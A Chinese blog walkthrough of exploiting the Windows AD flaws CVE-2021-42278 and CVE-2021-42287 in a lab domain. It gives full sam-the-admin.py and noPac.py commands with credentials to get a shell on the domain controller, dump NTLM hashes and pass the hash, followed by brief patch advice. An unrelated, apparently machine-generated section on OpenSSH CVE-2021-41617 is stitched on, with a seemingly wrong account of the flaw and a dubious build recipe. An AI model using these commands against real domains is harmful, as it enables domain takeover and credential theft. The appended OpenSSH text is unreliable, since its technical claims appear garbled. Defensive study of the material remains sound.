域内提权 (CVE-2021-42278 & CVE-2021-42287) 漏洞利用

本文详细介绍了Windows AD域的两个高危漏洞CVE-2021-42278和CVE-2021-42287,这两个漏洞可能导致域内用户提升至域管理员权限。内容包括漏洞介绍、受影响系统版本、实验环境、漏洞利用方法(如sam-the-admin.py和noPac.py工具)以及漏洞修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2021年11月,Microsoft 曝出了两个关于 Windows AD 域提权的漏洞:CVE-2021-42278 & CVE-2021-42287,CVSS V3.1评分均为8.8,两个漏洞组合可导致域内普通用户提升至域管权限。

一、漏洞介绍

CVE-2021-42278利用AD域计算机账户认证漏洞,使用计算机账户的sAMAccountName冒充域控制器,结合CVE-2021-42287可以获取Kerberos特权属性证书 (PAC),从而使域内普通用户权限提升至域管理员权限。

影响系统版本:
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2022 (Server Core installation)

二、漏洞利用

实验环境
域控制器及域信息:
OS: Microsoft Windows Server 2016 Datacenter
Hostname: DC01
IP: 192.168.43.100
Domain: main.test.com
NetBIOS Domain Name: MAIN

已知域用户: testuser,密码: p@55word

攻击机不在域内,但能访问域控
工具和指令均在攻击机上操作

很多工具都可以对 CVE-2021-42278 & CVE-2021-42287 进行利用,这里介绍两种自动化脚本:

(一) sam-the-admin.py

工具链接:https://github.com/WazeHell/sam-the-admin

注意:该脚本只能在Kali环境中运行

工具使用前先安装依赖包:pip3 install -r requirements.txt

获取Shell
python3 sam_the_admin.py "main/testuser:p@55word" -dc-ip 192.168.43.100 -shell

运行结果如下:
请添加图片描述
注意获取shell是通过impacket包中的smbexec.py,获取HASH是通过impacket包中的secretsdump.py,在sam-the-admin.py中有如下定义:

fbinary = "/usr/bin/impacket-smbexec"
if options.dump:
    fbinary = "/usr/bin/impacket-secretsdump"

其中smbexec.py的路径是/usr/bin/impacket-smbexec,secretsdump.py的路径是/usr/bin/impacket-secretsdump,如果系统环境中这两个脚本不是此路径,则需要将其调用路径进行修改。

另外,虽然sam-the-admin.py帮助文档中有提到获取HASH和HASH传递认证方式,但是测试中都没有执行成功。

(二) noPac.py

在sam-the-admin.py的基础上改进,工具链接:https://github.com/Ridter/noPac

工具使用前先安装依赖包:pip3 install -r requirements.txt

获取Shell
python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -shell

运行结果如下:
请添加图片描述
注意log信息中提示Current ms-DS-MachineAccountQuota = 10,表示普通用户新建计算机账户上限为10 (10是默认值,如果修改为0则表示无法新建计算机账户,漏洞利用会失败),工具运行后会尝试将执行过程中新建的计算机账户删掉,但是只有域管权限才可以成功删除,因此在使用普通域用户权限时,每执行一次都会新建一个计算机账户,当数量达到上限10,漏洞利用会失败。

获取HASH
python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -dump -just-dc-ntlm

运行结果如下:
请添加图片描述
认证方式支持HASH传递,如:

python3 noPac.py -use-ldap main.test.com/testuser -hashes :52888cf384b8d2e56e0cc2bb6b906f99 -dc-ip 192.168.43.100 -dump -just-dc-ntlm

三、漏洞修复

参考Microsoft安全更新程序指南:CVE-2021-42278CVE-2021-42287,域控上安装相应补丁即可,成员机不需要。

### CVE-2021-41617 漏洞详情 CVE-2021-41617 是一个存在于 OpenSSH 中的安全漏洞,该漏洞允许攻击者通过特定条件下的操作系统命令注入来执行恶意操作。此漏洞主要影响 OpenSSH 的某些配置环境,在这些环境中未正确处理输入数据可能导致未经授的访问或升。 具体而言,当 SSH 配置文件中启用了 `PermitListen` 或其他类似的转发选项时,如果参数未经严格校验,则可能被利用来进行命令注入攻击[^1]。这种类型的漏洞通常会对远程服务器构成严重威胁,因为它可以绕过正常的认证机制并获得目标系统的控制。 ### 影响范围 受到影响的主要版本包括但不限于低于 OpenSSH 8.8 的所有版本。这意味着运行旧版软件的服务端都可能存在潜在风险。不同 Linux 发行版对应的具体受影响包版本也有所不同: - 对于 CentOS 7 用户来说,任何早于 **openssh-7.4p1-22.el7_9** 的版本均处于危险之中; - 而对于 CentOS 8 来讲,则需确保安装的是至少为 **openssh-8.0p1-13.el8** 版本以上的程序实例才能有效规避此类安全隐患[^3]。 值得注意的是,并非所有的部署场景都会直接受到该问题的影响——只有那些显式设置了易受攻击功能(如动态端口映射)并且没有采取额外防护措施的情况下才会成为实际可利用的目标对象之一。 ### 修复方案 为了防止因上述缺陷而导致的数据泄露或其他形式的危害发生,官方已经发布了相应的补丁更新以解决这个问题。以下是几种常见的修复途径: #### 方法一:升级至最新稳定版本 最直接有效的办法就是把现有的 OpenSSH 组件替换为最新的安全发行版。例如, ```bash # 更新CentOS系统中的OpenSSH组件 yum clean all && yum makecache fast yum -y update openssh ``` 这一步骤会自动下载并应用由维护团队发布的修正后的二进制文件以及依赖库集合。 #### 方法二:手动编译安装指定版本 如果由于特殊原因无法在线获取资源或者希望完全掌控整个过程的话,也可以考虑从源码开始构建所需的定制化解决方案: ```bash wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.8p1.tar.gz tar xfz openssh-8.8p1.tar.gz cd openssh-8.8p1/ ./configure --prefix=/usr/local/ssh-new \ --sysconfdir=/etc/ssh-new \ --with-md5-passwords \ --without-hardening make && make install ``` 完成之后记得调整服务启动脚本来指向新路径下的可执行文件位置。 无论采用哪种方式实施改进计划之前,请务必做好充分准备,比如创建完整的磁盘镜像备份以便万一出现问题能够迅速恢复原始状态;同时仔细阅读相关文档确认每项改动都不会干扰现有业务流程正常运转。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值